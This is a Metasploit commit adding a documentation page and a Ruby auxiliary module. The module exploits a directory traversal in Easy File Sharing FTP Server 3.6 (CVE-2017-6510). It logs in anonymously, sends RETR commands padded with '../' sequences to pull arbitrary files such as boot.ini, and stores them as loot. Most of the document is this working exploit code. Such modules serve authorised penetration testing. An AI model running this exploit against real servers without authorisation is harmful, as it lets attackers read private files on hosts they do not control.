Land rapid7#8076, Add Easy File Sharing FTP Server Version 3.6 traversal

Author: wchen-r7

documentation/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.md

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+This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
+prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
+
+By default, anonymous access is allowed by the FTP server.
+
+## Vulnerable Application
+
+Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
+vulnerable application from the official website:
+
+http://www.efssoft.com/efsfs.exe
+
+## Options
+
+Since the FTP server allows anonymous access, by default, you only need to configure:
+
+**RHOSTS**
+
+The FTP server IP address.
+
+**PATH**
+
+The file you wish to download. Assume this path starts from C:\
+
+## Demonstration
+
+![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)

modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb

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+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Ftp
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
+      'Description'    => %q{
+        This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
+        This vulnerability allows an attacker to download arbitrary files from the server by crafting
+        a RETR command that includes file system traversal strings such as '../'
+      },
+      'Platform'       => 'win',
+      'Author'         =>
+        [
+          'Ahmed Elhady Mohamed'   # @kingasmk ahmed.elhady.mohamed[at]gmail.com
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2017-6510']
+        ],
+      'DisclosureDate' => 'Mar 07 2017'
+    ))
+
+    register_options(
+      [
+        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
+        OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
+      ], self.class)
+  end
+
+  def check_host(ip)
+    begin
+      connect
+      if /Easy File Sharing FTP Server/i === banner
+        return Exploit::CheckCode::Detected
+      end
+    ensure
+      disconnect
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def run_host(target_host)
+    begin
+      # Login anonymously and open the socket that we'll use for data retrieval.
+      connect_login
+      sock = data_connect
+      if sock.nil?
+        error_msg = 'data_connect failed; posssible invalid response'
+        print_status(error_msg)
+        elog(error_msg)
+      else
+        file_path = datastore['PATH']
+        file = ::File.basename(file_path)
+
+        # make RETR request and store server response message...
+        retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
+        res = send_cmd( ["RETR", retr_cmd])
+
+        # read the file data from the socket that we opened
+        # dont assume theres still a sock to read from. Per #7582
+        if sock.nil?
+          error_msg = 'data_connect failed; posssible invalid response'
+          print_status(error_msg)
+          elog(error_msg)
+          return
+        else
+          # read the file data from the socket that we opened
+          response_data = sock.read(1024)
+        end
+
+        unless response_data
+          print_error("#{file_path} not found")
+          return
+        end
+
+        if response_data.length == 0 or ! (res =~ /^150/ )
+          print_status("File (#{file_path})from #{peer} is empty...")
+          return
+        end
+
+        # store file data to loot
+        loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
+        vprint_status("Data returned:\n")
+        vprint_line(response_data)
+        print_good("Stored #{file_path} to #{loot_file}")
+      end
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+      vprint_error(e.message)
+      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
+    rescue ::Timeout::Error, ::Errno::EPIPE => e
+      vprint_error(e.message)
+      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
+    ensure
+      data_disconnect
+      disconnect
+    end
+  end
+end